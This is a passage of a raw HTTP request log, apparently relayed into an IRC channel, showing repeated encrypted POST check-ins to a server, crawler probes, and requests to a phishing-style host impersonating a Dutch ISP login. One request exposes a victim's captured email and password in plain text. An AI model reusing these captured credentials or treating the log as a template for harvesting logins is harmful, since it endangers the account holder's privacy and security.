  4848. [03:35] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4849. [03:35] <HTTP> Host: 172.86.120.218
  4850. [03:35] <HTTP> Content-Length: 388
  4851. [03:35] <HTTP> Cache-Control: no-cache
  4852. [03:35] <HTTP> eTFDip5tA763Bng4FcUtcv2nQGAG1w6lFBS/UbriVHwx9lTxpLjXYjOfjU1skehN5uu0Qgorhz4DPxggwNhXH4skLbn3bzYS02EWCiQNEvZXZHWQYdRVbt9ix0oMOdlmNLGSj0q/VzcCGE4AgeTFfaWGaS/68Le3KGIoNGXyGY6+JBEf0JFDyN2k+1Cb4p3Jk3wkUsOwd6xPrmNo2v/owb71Ex3WrE9qMRtQ3nvfVz6e79CEqSqEMa5ANWrkrIAVK5mYkH6THW33lq2o35Xbzhjn7BxtlSaeteup4WQKPCfFGwB6lxWimeyXsQmhrshIe8EVr8uTPuxzEXMBetGWcKqDA2Jg5U3ZDwOdbPKwWAAsDhtu/xGrG3BdMZMsJrhy7w==
  4853. [03:37] <HTTP> Socket initiated: 203.87.133.143
  4854. [03:37] <HTTP> POST / HTTP/1.1
  4855. [03:37] <HTTP> Content-Type: application/x-www-form-urlencoded
  4856. [03:37] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4857. [03:37] <HTTP> Host: 172.86.120.218
  4858. [03:37] <HTTP> Content-Length: 396
  4859. [03:37] <HTTP> Cache-Control: no-cache
  4860. [03:37] <HTTP> cTBDiMdtVocUUY0kG6dSEm0cHX2RgT14Vhxq9xO9o2pYXVnyCvHXyHDe4d8yEzP4Q5j2RXDCcUxqPwQ/EUV0cWj4p+tm2kwoqhYjyidEtUj9J6LUsV47+Me3AOZNzHMWWjUyh8XscScRLEDyO0D4s/x4CjE762TO2uJI2DLau3Y6NHJDpmyDezSKLcWF1vSOxqKp6KBlidf3SLmzxSeHfKrOy20/aebnxhnFxW7Q/xPoOcCF1+QfzYCjQGgL/wG240rWxnJxT3pjzLYTaLEltYSvp6iburN8BhOmGBG3pIWc1sct3g3G9z2zDMlvMee/1QniBOm1FijdnCLj08cmjRbvWsEml2NWncLaFvLtfk+MbllA1aKkn9u9FoA5V5Mxf496tBbinA==
  4861. [03:39] <HTTP> Socket initiated: 203.87.133.143
  4862. [03:39] <HTTP> POST / HTTP/1.1
  4863. [03:39] <HTTP> Content-Type: application/x-www-form-urlencoded
  4864. [03:39] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4865. [03:39] <HTTP> Host: 172.86.120.218
  4866. [03:39] <HTTP> Content-Length: 388
  4867. [03:39] <HTTP> Cache-Control: no-cache
  4868. [03:39] <HTTP> eTFB3pM6UbQD2OzoVdR47BxiHrepwfbALyQxmC3bN2VL0Syuf6yQV8GMM6k5LoyR6JaEtE/rTlyPWTp4ontfaCFoydNFi9vrOItS3igPVsxJ0+CqgC2Aq1qoA5W43+1tkUU0mb4mGl91rq6wryXoe/6BdSUVRWgVgoop0xL9Ex/P9ZlawQJhBbP2Vp3Hohxo1Bzbyf3qUTiKY0UtoGNFND9YSe2eMRdGDorbtHNCjPGPC6EKMhduAMqJozG4e9tn08AIl4peqWdkjYHMz93oJOftKdEh345bZhaaactizYzNsRmExUGacq9Jhcbb5aLtbAYLk4+VtZ9nyK9JKeZ4fpaHedW2DvyEULJDB4J6wWlxp+qhYBM9lc8C3Dh8PDJxTw==
  4869. [03:41] <HTTP> Socket initiated: 203.87.133.143
  4870. [03:41] <HTTP> POST / HTTP/1.1
  4871. [03:41] <HTTP> Content-Type: application/x-www-form-urlencoded
  4872. [03:41] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4873. [03:41] <HTTP> Host: 172.86.120.218
  4874. [03:41] <HTTP> Content-Length: 416
  4875. [03:41] <HTTP> Cache-Control: no-cache
  4876. [03:41] <HTTP> eWpEiMMwVFDYS6TuyIJuc1ckgeFEXZ/5euVywIj16Xe3wL6sELPxrH2X+rTp8Caxdu7hJU07HmWmZaKE/DC6gRsLbdq7BJ6VyHAnLpmqkoTECB0FE2dre62Dm357MNptBPsmzs1nN/6LYFcftCLro2REupswnin7C8y9UJQLvI5zfEuPi2ucgM/qdG5y6AAh4SH9ITY1oQus+91Q3OOZriPNV23DdSovgpzbgVkqBaGxb6XWAkfvp/N35kA6PGRP3nsIDbcYRoT/zrHGpOFEtCOa+vWs+IZrlWh5I8Smuea25QGPdcex9IIjwieSXhzemkNeC/eAv9GU2+R+p6wHOG7ym0EyEVwZbZbwyMv6yVmEbYA04lVqodRcGHQN5MasqoGOzZ6BOKwU2s
  4877. [03:41] <HTTP> gSjGJLo8zBAHDx9kY=
  4878. [03:43] <HTTP> Socket initiated: 203.87.133.143
  4879. [03:43] <HTTP> POST / HTTP/1.1
  4880. [03:43] <HTTP> Content-Type: application/x-www-form-urlencoded
  4881. [03:43] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4882. [03:43] <HTTP> Host: 172.86.120.218
  4883. [03:43] <HTTP> Content-Length: 372
  4884. [03:43] <HTTP> Cache-Control: no-cache
  4885. [03:44] <HTTP> cjgXjZA4BE/MXenYNvsGDlkj6GCPBnnMe0hyEx9zYAzZkaa74ae6CDo5dYWkVfPKNoZ3Q486goyOQ+RK61x0gUAV/FcNiAjiDC58M0Osa6MgtDKs8aZdAHxmD0f7FOxtovMLgKXs1OgrnPzY5sETOAtF73w0ku5FKXInCnSSAKPYu6bc6GcejurdUqSzciLQkDiaDVIJ7Hx/1Hf/RuRGusPV05E12Uq88MTmov4Hul4/GiLq2HnMbMcaS2zJ3zLPevTUdAZiVEdY1gGqmUKgSo6xjgv06XqFhgOyGJhKktRruQ76xmUwCLWalX1x8r9ouD7IzyqA5Oi0mM6JW1k3zGNUDRthpBptecMcoXFflA6x0KQnDft6
  4886. [03:45] <HTTP> Socket initiated: 203.87.133.143
  4887. [03:45] <HTTP> POST / HTTP/1.1
  4888. [03:45] <HTTP> Content-Type: application/x-www-form-urlencoded
  4889. [03:45] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4890. [03:46] <HTTP> Host: 172.86.120.218
  4891. [03:46] <HTTP> Content-Length: 380
  4892. [03:46] <HTTP> Cache-Control: no-cache
  4893. [03:46] <HTTP> c2pB3pQ8VchBGmoKpIjwrb4SoKlHHl7WjFwjyiD01AHK9lFwsuap5GBq1uC9VOO/O5TB7HQ4mqnS2kmgfZKh4qCz08s03xuIoAL0j3W1s9qn9xevIyX1POXVYCWsi450Ql8nGM/neSJtlJZf4vZFlTZjac0oNVcAjV2GfYivZFmTk8ZWLYrljiUJE1A0et2adjCRFOhJiQU6TiTHrveVQ7FTtQD1UygNt0pZwpH5NIXXDfPjiK/n/WNONyAG9RnwicAG0aK09E9nzTyU4SOaqDF8TrMU2Lx2RYNVgmzztCcPTT5f1/tzZMeB0XBFZcjhRf4HcjpCGe14dG69dXS/piZACHZbI3nJPa5yb7+f3lu31bgMuKTV4NLKSzM=
  4894. [03:47] <HTTP> Socket initiated: 203.87.133.143
  4895. [03:48] <HTTP> POST / HTTP/1.1
  4896. [03:48] <HTTP> Content-Type: application/x-www-form-urlencoded
  4897. [03:48] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4898. [03:48] <HTTP> Host: 172.86.120.218
  4899. [03:48] <HTTP> Content-Length: 360
  4900. [03:48] <HTTP> Cache-Control: no-cache
  4901. [03:48] <HTTP> cG0XjMcxWXs9GLDo1blpnTjz4yLg5lQPq2MW9X9wrkLHZvM3huzt2NnzMXVg4lLQmzVUNevgyxksSnkcsBYW6tLZLzNJwLSQ7FfjnrDBS+TJp3oNJMVv969c6owD8N0jedNRDNOQ8Q6KRqxo36FyICo+1mQ3mQLi9rawgoOGAnSDYktAjZvsVwkn70dwbg3Z0bEyDqyGXyEMkGnkWPZA4lmoqthzCt3EC9Ti3SbtRWYC2kzsv9DCEoMP09RfB0blEl2Uswm92Jhq/bRkTQj3wc690mqTi7BEvZhvFYhczR7mO9OTDkFkY0bpCT2IWs+cXNjWrxObqKe0NSgft3/NEHrQz/CtwpDyHB/veg==
  4902. [03:49] <HTTP> Socket initiated: 203.87.133.143
  4903. [03:50] <HTTP> POST / HTTP/1.1
  4904. [03:50] <HTTP> Content-Type: application/x-www-form-urlencoded
  4905. [03:50] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4906. [03:50] <HTTP> Host: 172.86.120.218
  4907. [03:50] <HTTP> Content-Length: 396
  4908. [03:50] <HTTP> Cache-Control: no-cache
  4909. [03:50] <HTTP> cj8RgJIwVpgcrOfcFeVO1coy3DmJW9z1FkvblIfJoZ7vj8GrRUGqwud+vDjEGvuduITUIdhIKYha70k1Z6/G7+DqQNBhvduWJK6yXifdydCd2qOrgWPd+wnkLPMCVNLh1U/Ff1ITRF6sHCHa2/ulZWlhgol29CgCqi/UdKOpgNrgerY/8vY4NO9at9dOMU7YIl50mtYnLgoj4lXfmuKLbLuTX0hGvTBQxn0g62dCma4uY4b+pRqbmsqkjNgNT5OihZmc8Ka/1WSjHgY7yFAqsS2Wliw3yjmWzA8PipWxLX62kjnZ8xdo9NQ2QYkcQ+4wghVvxMZ8rXqsRjfCPq1lSxtKXuzQO2cvDWdijOXASoqblCvSpIDRImFXDZhvZz/7Dv/1KI1kFbnL
  4910. [03:52] <HTTP> Socket initiated: 203.87.133.143
  4911. [03:52] <HTTP> POST / HTTP/1.1
  4912. [03:52] <HTTP> Content-Type: application/x-www-form-urlencoded
  4913. [03:52] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4914. [03:52] <HTTP> Host: 172.86.120.218
  4915. [03:52] <HTTP> Content-Length: 404
  4916. [03:52] <HTTP> Cache-Control: no-cache
  4917. [03:52] <HTTP> IzhDj58wVDRIV6fc06gsAUOBW2yUTTVj8V539wH5pqK36l4WWNafcpKk1qOhsAuLdTud8nM2Whmidm1U82nTdNQduopntqpRrH1eEu7OVoNJIAfrVkJzibk0vAhivN8ODN3jA2Z/ykbuoA7qUFR6n48ZJ0ygypeIW4Mt+oz1YqRa2WicTLP43LNhyv0i3K4UCC+YyfGin9FL4o1bg6MepfzSf8jNZk9B8LQdicbcInelKRZ7kSgGNQ1nwSMnNKhDu1Wz4q3CQs6rTVa0IP21ZZiqeNARW9To1Z8P1MIypCwRTgE0/gZz1ROTkJRYBPrOfFXz3nk9Zn9EUuw4AKl2n0ipnKZaspv//TbIccMd+RJCPcdVBOnzee0xboih1CJApv5NiNNTxojk5KIYAA==
  4918. [03:54] <HTTP> Socket initiated: 203.87.133.143
  4919. [03:54] <HTTP> POST / HTTP/1.1
  4920. [03:54] <HTTP> Content-Type: application/x-www-form-urlencoded
  4921. [03:54] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4922. [03:54] <HTTP> Host: 172.86.120.218
  4923. [03:54] <HTTP> Content-Length: 396
  4924. [03:54] <HTTP> Cache-Control: no-cache
  4925. [03:54] <HTTP> JDlNgJY/Vbc25qniJM9xEkKLTjOzL/ZvxKuxCuk+VYrCFLKatBqud9WuHWXMUZVAzj7x5+JC7P1oLVL353yLIMT9QppzE7aSQCN7NGbF48i9bOP4Jkd5Se70GG0aUhRq7z5EJik+o7Po8MkAA1PmiQPaKC+ps4bNrMOHTExIC+8Z6IQX7jnjqJ5BYUQ1Q5UXMvKzAAkO+8eTYb39tvYAbL5x1d+eaDhQ3jHxe5taCjy9daES4NUcXmFpIubCaozcaFbpC6V07/FBJId4gUFFF8O9aZ5oQYAM+dZorbbusEW3ZfME6JQSm9BGkUiDyLukqtuXZUkVECit14aiPhCfM/tog3JpMPO7MEjaDEucFx2qERtPpd1y8vBwxwTwJ8wgMXPaJRTL7wgL
  4926. [03:56] <HTTP> Socket initiated: 203.87.133.143
  4927. [03:56] <HTTP> POST / HTTP/1.1
  4928. [03:56] <HTTP> Content-Type: application/x-www-form-urlencoded
  4929. [03:56] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4930. [03:56] <HTTP> Host: 172.86.120.218
  4931. [03:56] <HTTP> Content-Length: 400
  4932. [03:56] <HTTP> Cache-Control: no-cache
  4933. [03:56] <HTTP> cjBFgJYxV+sGB+OsyI1rNPeLw14SMfGPkgnp4gnJWKyIaSXcbTYYnhF2CazMsBuIMylG2xhsKGDdlzepS0IVS4KqyShL0RzX0XQXVltSTGLZvBa5OAruYu7BAskAmVJD7sqTFAVP+TRm4Dod0ohft45dlUzrJ/e//4K7s9qBvV7ibkKphZPB6pUlC9NK9nQ3YUMcNzsV1kR/KXHzfTgTbbL8lh28RdXMo0tVU6HND8X6BOwSyuFiqcSN8ZlSvIuzyFGDc08BnA/vPSY43rAi6PA1DL+/haIBpvFV0lwqNPTFmmOIsGWVbMtNLpBbRyaENS1Hnq7QMlwZ/hW0G4fJ802DFu+OmelfRnfoqIy7PnuZky0IHXFmBsgxvgoLNFowAsCJZ7H1vlPFdw==
  4934. [03:58] <HTTP> Socket initiated: 203.87.133.143
  4935. [03:58] <HTTP> POST / HTTP/1.1
  4936. [03:58] <HTTP> Content-Type: application/x-www-form-urlencoded
  4937. [03:58] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4938. [03:58] <HTTP> Host: 172.86.120.218
  4939. [03:58] <HTTP> Content-Length: 408
  4940. [03:58] <HTTP> Cache-Control: no-cache
  4941. [03:58] <HTTP> eW1NiMJpUCrCj4soBor3RJJ9BUHlIDqcOBKRoarUnSJFlqKKfZbj4+9ZzxsOcLmUcS6iVOvQJhee6YY9ZTpnnyrPxKysvfRlM/yy3X2fv/4pjtUduKx/uf1JrcvaXWdethe9QhzlZiKdtWE42u0PPOqeQU8MY7HdG9d/0jXR4c9KrouSXlGH4yub1AqI+ANYihOwXa68CCYX8vOUBsY5sjah2LtV/RVH3IGBlyBgEML0F0kC8lVzVmC4qI1d/95B5zo6Y3D4Jb4B/Hg9gHjxhPO5TQYGo3mVr3xTgucj6aPchzczook+Q+u3IH7Df0CTEpDaYSVigL+RjjVh/S6J57mGYvI2p+w7wyUDS19hzzVMNEANfSFGEDQVng2A71SZDJPaWzw7qam9+RsrhM0QXg==
  4942. [04:00] <HTTP> Socket initiated: 203.87.133.143
  4943. [04:00] <HTTP> POST / HTTP/1.1
  4944. [04:00] <HTTP> Content-Type: application/x-www-form-urlencoded
  4945. [04:00] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4946. [04:00] <HTTP> Host: 172.86.120.218
  4947. [04:00] <HTTP> Content-Length: 376
  4948. [04:00] <HTTP> Cache-Control: no-cache
  4949. [04:00] <HTTP> ITtMgZ85VAE8iO32I/PeAEopW/b1pmb7k/0o+37SBz0nuM1X+yvNzhjLWl+6wDinYB2snvKhUoBtZbdh0FvYmVC/hw8PHwjHN/R9eDGdnBbUnea5fbhed3jILT3bl8WYU56t9gKIkcCpV9gKnvIeDvyfFhzGU4xeZAlgC3T0Gq5M1+0y5FCUTepzMMlThhG+RB9wWbudhvs7oMDf5QJgVT8D4BuCojVboYLWm4Q+fHQpn2hEMPDKWeOLxmMY9smTAtwycILC7e1R0sLuBIHBGuxfuC9ItQ8S8gt4px7nFufPXouctaTUPV6UvHCCpjerm88SrtwnclOL3DgLjH6ZXiOj85misGVQQJut1hN4F9yyf81fDXaPtiM=
  4950. [04:02] <HTTP> Socket initiated: 203.87.133.143
  4951. [04:02] <HTTP> POST / HTTP/1.1
  4952. [04:02] <HTTP> Content-Type: application/x-www-form-urlencoded
  4953. [04:02] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4954. [04:02] <HTTP> Host: 172.86.120.218
  4955. [04:02] <HTTP> Content-Length: 388
  4956. [04:02] <HTTP> Cache-Control: no-cache
  4957. [04:02] <HTTP> dzBBgMIxAi0g0+uwIX79Eyv9+nI7pUBzYncWeIT/nbA4EeIBb5oUhE1SA4cqdEpwfW/EG2YjrBvDdkJATuW8HUhe4TDdl93bhe+CP+tlzrcgnSCqisqrzZVr1ZJqUiBMYEGXG2UqBcumUo1J9DBf23so5mlxB7h3v4ClVR7Us4/SkPPPisgoPUuus+7x+pNJsixahNhEToO7Mw6G4PI6W0LxowVwV78bfaaxtYiTUE2hoSe26Fzg7gSrynBs+dQ5rg4jt8K/3279iuon5n8T7bLAth2Ij5zOo8pqjb4xU8Tw8BatWQuKsnvUAY86q/gby4oWctGsIk4WRaeadwRzLAapl9SBB0iEBXHL37IhVQr2i/UVodL+eg448zaHVqtiIw3B
  4958. [04:04] <HTTP> Socket initiated: 203.87.133.143
  4959. [04:04] <HTTP> POST / HTTP/1.1
  4960. [04:04] <HTTP> Content-Type: application/x-www-form-urlencoded
  4961. [04:04] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4962. [04:04] <HTTP> Host: 172.86.120.218
  4963. [04:04] <HTTP> Content-Length: 404
  4964. [04:04] <HTTP> Cache-Control: no-cache
  4965. [04:04] <HTTP> JW1GjpUwV/snb+b4DR/CEY3gQd5wNhKL7p5NtC9zc6BxUIVGv32lZipGFZ+JFBy/TvLjKBYuXm76nydH0bC1vql1XJmlcqcMCf2ZotKXPpsz+NFz3DYuC8qP3bRMfpoTn7ylO/IvbAB40btZ5mYofC4PAIoMmRvRlYnhToJrZwPp+gxC98PHBId+Kp5vKz5zFmCTLJbIRMVL1dSX4mn3GS++nuw7eHTEnysYShLXWw/gyl7w8XSM1IPwfRZhuQcuzeajP/bZP31fr9drQIIKnifEG1z+epBg4/wqfF24gOMGyIzxtDvUjieRPooQKGa14rCncru1C1PUqoB3OwuR+3ibd/zEBhTxhBWYjE6taMeNS0iwak03V9j0S5sbqvadbUBvb3TXAqbc8LwM4w==
  4966. [04:06] <HTTP> Socket initiated: 203.87.133.143
  4967. [04:06] <HTTP> POST / HTTP/1.1
  4968. [04:06] <HTTP> Content-Type: application/x-www-form-urlencoded
  4969. [04:06] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4970. [04:06] <HTTP> Host: 172.86.120.218
  4971. [04:06] <HTTP> Content-Length: 420
  4972. [04:06] <HTTP> Cache-Control: no-cache
  4973. [04:06] <HTTP> JDpHip48BX+ic1J5r8Xrk2tV93sGVVwriSv/0egryRUKUzM4q8DQxv5sZ8leEcn5u5KsYILYKWT/vY9Dxd3QrrOKM+/KN9Gq8GihNeZeocWZTMJeHza2EHQuKpQpmphuMZRg5KTOEZbgggZmI+UDNuB4G3PGaNQ5GVF8DTbwr6fAZ77PqznyEEiUW6pXuc/yLoXYmX7z2m6h87Nm+Ft60fO1UXQPYqF6cNPJk+6r+70uOEnGmeMYHK9bm8h4Sd193eKsgmWEDFTNhy/cCU/iLUg3yWb6SLmMh5Y0V1D96svvbgwYQGOmL/SAOH9zg/afcx+v4sMhUSaneYY9t6haY7SkeupiRdizQ+zz+WuoAcMDiNKy+pThhr8png70luPQQglawj7U9O38hy
  4974. [04:06] <HTTP> i9nmGFXI+p8VVmpN4ufgeQ
  4975. [04:20] <HTTP> Socket initiated: 82.217.207.230
  4976. [04:20] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  4977. [04:20] <HTTP> Host: ziggo.nl.hacked.jp
  4978. [04:20] <HTTP> Content-Type: application/x-www-form-urlencoded
  4979. [04:20] <HTTP> Origin: http://219.93.200.189
  4980. [04:20] <HTTP> Accept-Encoding: gzip, deflate
  4981. [04:20] <HTTP> Connection: keep-alive
  4982. [04:20] <HTTP> Upgrade-Insecure-Requests: 1
  4983. [04:20] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  4984. [04:20] <HTTP> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.1 Safari/603.1.30
  4985. [04:21] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  4986. [04:21] <HTTP> Content-Length: 104
  4987. [04:21] <HTTP> Accept-Language: en-us
  4988. [04:21] <HTTP> source=AEM&target=IAM&URL=&login-form-type
  4989. [04:30] <HTTP> Socket initiated: 80.82.77.139
  4990. [04:30] <HTTP> Socket initiated: 80.82.77.139
  4991. [04:30] <HTTP> Socket initiated: 80.82.77.139
  4992. [04:30] <HTTP> GET / HTTP/1.1
  4993. [04:30] <HTTP> Host: 172.86.120.218
  4994. [04:30] <HTTP> Accept-Encoding: identity
  4995. [04:30] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  4996. [04:30] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
  4997. [04:30] <HTTP> GET /robots.txt HTTP/1.1
  4998. [04:30] <HTTP> Host: 172.86.120.218
  4999. [04:30] <HTTP> Accept-Encoding: identity
  5000. [04:30] <HTTP> GET /sitemap.xml HTTP/1.1
  5001. [04:30] <HTTP> Host: 172.86.120.218
  5002. [04:30] <HTTP> Accept-Encoding: identity
  5003. [04:30] <HTTP> GET / HTTP/1.1
  5004. [04:30] <HTTP> Host: 172.86.120.218
  5005. [04:30] <HTTP> Accept-Encoding: identity
  5006. [04:30] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5007. [04:30] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
  5008. [04:30] <HTTP> GET /robots.txt HTTP/1.1
  5009. [04:30] <HTTP> Host: 172.86.120.218
  5010. [04:30] <HTTP> Accept-Encoding: identity
  5011. [04:30] <HTTP> GET /sitemap.xml HTTP/1.1
  5012. [04:30] <HTTP> Host: 172.86.120.218
  5013. [04:30] <HTTP> Accept-Encoding: identity
  5014. [04:30] <HTTP> GET / HTTP/1.1
  5015. [04:30] <HTTP> Host: 172.86.120.218
  5016. [04:30] <HTTP> Accept-Encoding: identity
  5017. [04:30] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5018. [04:30] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
  5019. [04:30] <HTTP> GET /robots.txt HTTP/1.1
  5020. [04:30] <HTTP> Host: 172.86.120.218
  5021. [04:30] <HTTP> Accept-Encoding: identity
  5022. [04:30] <HTTP> GET /sitemap.xml HTTP/1.1
  5023. [04:30] <HTTP> Host: 172.86.120.218
  5024. [04:30] <HTTP> Accept-Encoding: identity
  5025. [04:46] <HTTP> Socket initiated: 91.230.47.3
  5026. [04:46] <HTTP> GET / HTTP/1.0
  5027. [04:46] <HTTP> Connection: close
  5028. [05:39] <HTTP> Socket initiated: 221.190.106.94
  5029. [05:39] <HTTP> GET / HTTP/1.0
  5030. [05:47] <HTTP> Socket initiated: 91.230.47.3
  5031. [05:47] <HTTP> GET / HTTP/1.0
  5032. [05:47] <HTTP> Connection: close
  5033. [07:34] <HTTP> Socket initiated: 83.84.20.18
  5034. [07:34] <HTTP> Socket initiated: 83.84.20.18
  5035. [07:34] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  5036. [07:34] <HTTP> Host: ziggo.nl.hacked.jp
  5037. [07:34] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  5038. [07:34] <HTTP> Upgrade-Insecure-Requests: 1
  5039. [07:34] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5040. [07:34] <HTTP> Content-Type: application/x-www-form-urlencoded
  5041. [07:34] <HTTP> Content-Length: 129
  5042. [07:34] <HTTP> Accept-Language: nl-nl
  5043. [07:34] <HTTP> Origin: http://219.93.200.189
  5044. [07:34] <HTTP> Accept-Encoding: gzip, deflate
  5045. [07:34] <HTTP> Connection: keep-alive
  5046. [07:34] <HTTP> User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 Mobile/14F89 Safari/602.1
  5047. [07:34] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Roboranje%40ziggo.nl&userId=Roboranje%40ziggo.nl&password=ronald1&button=
  5048. [07:59] <HTTP> Socket initiated: 91.230.47.3
  5049. [07:59] <HTTP> GET / HTTP/1.0
  5050. [07:59] <HTTP> Connection: close
  5051. 03[08:23] * independent (independen@97A00772.16DE410C.CE86F8AC.IP) has joined ##ss
  5052. [08:59] <HTTP> Socket initiated: 91.230.47.3
  5053. [08:59] <HTTP> GET / HTTP/1.0
  5054. [08:59] <HTTP> Connection: close
  5055. [09:08] <HTTP> Socket initiated: 46.209.210.18
  5056. [09:08] <HTTP> OPTIONS /ipc$ HTTP/1.1
  5057. [09:08] <HTTP> Connection: Keep-Alive
  5058. [09:08] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  5059. [09:08] <HTTP> translate: f
  5060. [09:08] <HTTP> Host: 172.86.120.218
  5061. [09:09] <HTTP> Socket initiated: 46.209.210.18
  5062. [09:09] <HTTP> OPTIONS /ipc$ HTTP/1.1
  5063. [09:09] <HTTP> Connection: Keep-Alive
  5064. [09:09] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  5065. [09:09] <HTTP> translate: f
  5066. [09:09] <HTTP> Host: 172.86.120.218
  5067. [09:20] <HTTP> Socket initiated: 97.92.92.152
  5068. [09:20] <HTTP> POST / HTTP/1.1
  5069. [09:20] <HTTP> Content-Type: application/x-www-form-urlencoded
  5070. [09:20] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
  5071. [09:20] <HTTP> Host: 172.86.120.218
  5072. [09:20] <HTTP> Content-Length: 384
  5073. [09:20] <HTTP> Cache-Control: no-cache
